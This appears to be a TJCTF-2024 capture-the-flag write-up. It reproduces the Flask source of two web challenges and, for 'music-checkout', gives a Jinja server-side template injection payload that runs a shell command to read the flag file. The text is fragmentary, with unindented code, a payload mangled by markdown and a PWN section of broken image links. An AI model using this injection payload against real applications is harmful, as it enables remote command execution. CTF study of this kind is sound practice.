> For the complete documentation index, see [llms.txt](https://sibivasan.gitbook.io/sibivasan/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sibivasan.gitbook.io/sibivasan/writeups/ctf-writeups/tjctf-2024.md).
# TJCTF-2024
## TJCTF
Templater:
```jsx
from flask import Flask, request, redirect
import re
app = Flask(__name__)
flag = open('flag.txt').read().strip()
template_keys = {
'flag': flag,
'title': 'my website',
'content': 'Hello, {{name}}!',
'name': 'player'
}
index_page = open('index.html').read()
@app.route('/')
def index_route():
return index_page
@app.route('/add', methods=['POST'])
def add_template_key():
key = request.form['key']
value = request.form['value']
template_keys[key] = value
return redirect('/?msg=Key+added!')
@app.route('/template', methods=['POST'])
def template_route():
s = request.form['template']
s = template(s)
if flag in s[0]:
return 'No flag for you!', 403
else:
return s
def template(s):
while True:
m = re.match(r'.*({{.+?}}).*', s, re.DOTALL)
if not m:
break
key = m.group(1)[2:-2]
if key not in template_keys:
return f'Key {key} not found!', 500
s = s.replace(m.group(1), str(template_keys[key]))
return s, 200
if __name__ == '__main__':
app.run(port=5000)
```
#### Template(s):
Have regex `.*({{.+?}}).*` to bypass.
Web:
To adding Keys:
```
template_keys = {
'flag': flag,
'title': 'my website',
'content': 'Hello, {{name}}!',
'name': 'player'
}
```
Try to get a flag:
We can use the regex bypass to get the flag:
## **music-checkout:**
```python
from flask import Flask, render_template, request
import uuid
app = Flask(__name__)
app.static_folder = "static"
@app.route("/static/")
def static_file(filename):
return app.send_static_file(filename)
@app.route("/")
def index():
return render_template("index.html")
@app.route("/create_playlist", methods=["POST"])
def post_playlist():
try:
username = request.form["username"]
text = request.form["text"]
if len(text) > 10_000:
return "Too much!", 406
if "{{" in text or "}}" in text:
return "Nice try!", 406
text = [line.split(",") for line in text.splitlines()]
text = [line[:4] + ["?"] * (4 - min(len(line), 4)) for line in text]
filled = render_template("playlist.html", username=username, songs=text)
this_id = str(uuid.uuid4())
with open(f"templates/uploads/{this_id}.html", "w") as f:
f.write(filled)
return render_template("created_playlist.html", uuid_val=this_id), 200
except Exception as e:
print(e)
return "Internal server error", 500
@app.route("/view_playlist/")
def view_playlist(name):
name = str(name)
try:
return render_template(f"uploads/{name}.html")
except Exception as e:
print(e)
return "checkout not found", 404
if __name__ == "__main__":
app.run(port=5000, debug=True)
```
Payload:
`{{''.**class**.**base**.**subclasses**()[336]('cat flag.txt', shell=True, stdout=-1).communicate()}}`
PWN:
.png?alt=media&token=adcae1dd-a301-40d0-8529-cb04b6517506)
.png?alt=media&token=21b7e885-c2d8-4779-a03b-169a3959a2ba)
.png?alt=media&token=f577ef12-3af0-472e-b7c4-0f4c6bb81156)
.png?alt=media&token=14387393-1df6-4ee3-9c6c-007a44905a71)
.png?alt=media&token=0240f84c-1808-4ae5-816b-33f7f5956770)
.png?alt=media&token=8ab0bc00-0571-49e9-b6a8-d93bc93aff00)
.png?alt=media&token=cbffd090-fb4c-482f-99f1-d25df142c8ab)
.png?alt=media&token=4740b439-93fa-46bc-9f26-a56231921aae)
.png?alt=media&token=db062605-5de9-4e6d-b889-1d96cedb3cb8)
.png?alt=media&token=ed24ef15-c2d6-4141-81e3-e95ac3231d84)
.png?alt=media&token=2b52028c-6ad3-464b-b00e-d92b894934db)
.png?alt=media&token=fdf601bb-e826-43ef-bf1c-43f52daa3747)
.png?alt=media&token=0bd54c89-251b-422a-b9af-b4b5e5d384a5)
.png?alt=media&token=0918135b-65b7-4a67-a653-0567cb5562bf)